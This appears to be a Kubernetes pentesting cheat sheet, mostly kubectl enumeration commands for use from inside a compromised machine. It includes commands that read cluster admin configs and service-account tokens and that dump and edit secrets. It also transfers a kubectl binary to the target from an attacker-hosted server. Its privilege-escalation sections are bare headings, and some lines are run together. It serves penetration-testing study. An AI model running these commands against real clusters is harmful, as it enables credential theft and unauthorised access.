Kubernetes Pentesting
Check if the Kubectl Command Available in Target Machine
kubectl -h
k0s -h
k0s kubectl -h
microk8s kubectl -hcurl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
python3 -m http.serverwget http://<local-ip>:8000/kubectl -O /tmp/kubectl
chmod +x /tmp/kubectlInvestigation From Inside
# Check configurations
cat /etc/kubernetes/admin.conf
cat /etc/kubernetes/kubelet.conf
# JWT token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# if we find the token, decode it in https://jwt.io/
# Sensitinve information
ls -a /var/lib/k0s/containerd/
# All information
kubectl get all
# Permissions
kubectl auth can-i --list
# /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list --token=<JWT>
# Get namespaces
kubectl get namespaces
# Roles
kubectl get rolebindings -n <namespace>
kubectl describe <bind_name> -n <namespace>
kubectl describe role <role_name> -n <namespace>
## Cluster
# Start/stop cluster
minikube start
minikube stop
# Get status for cluster
minikube status
# Get cluster information
kubectl cluster-info
## Nodes
kubectl get nodes
## Pods
kubectl get pods
# -A: List all pods across all namespaces
kubectl get pods -A
# Get pods from specific namespace
kubectl get pods -n <namespace>
# Get detailed information for pods
kubectl get pods -o wide
# Get the detail information abou the pod
# -o: Output format
kubectl get pod <pod-name> -o yaml
# Specify the namespace
kubectl get pod <pod-name> -n <namespace> -o yaml
# Get detailed information
kubectl describe pods <pod-name>
kubectl describe pod -n <namespace>
# ClusterRole information
kubectl describe clusterrole <role-name>
# ClusterRoleBinding information
kubectl describe clustrrolebinding <role-name>
# Get inside a target pod
kubectl exec -it <pod> -- sh
# Get logs of the pod/container
kubectl logs <pod>
kubectl logs-f <pod>
# Services
kubectl get svc
# Jobs
kubectl get job -n <namespace>
# -o: Output details
kubectl get job -n <namespace> -o json
# Secrets
kubectl get secrets
kubectl get secrets -n <namespace>
# Get the specific secret
kubectl get secret <secret-name> -o json
kubectl get secret <secret-name> -n <namespace> -o json
# Edit the secret
kubectl edit secret <secret-name>
kubectl edit secret <secret-name> -n <namespace>
# List all data contained in the specific secret
kubectl describe secret <secret-name>
kubectl describe secret <secret-name> -n <namespace>
# ServiceAccounts
kubectl get serviceaccount
kubectl get serviceaccount -n <namespace>
# Create a ServiceAccount
kubectl create serviceaccount api-explorer
# Bind the ClusterRole to a ServiceAccount
# eg. namespace: default
kubectl create rolebinding api-explorer:log-reader --clusterrole log-reader --serviceaccount default:api-explorer Investigation via Kubernetes API Server
Privilege Escalation (Escape) using the Container Image
1. Get Information About the Target Pod
2. Create a Pod Yaml File
3. Run the New Container to Privilege Escalation
Privilege Escalation using Bad Pods
1. Download the Bad Pod
2. Trasfer the Bad Pod to the Target Machine
3. Create the Pod
4. Get a Shell**
References
Last updated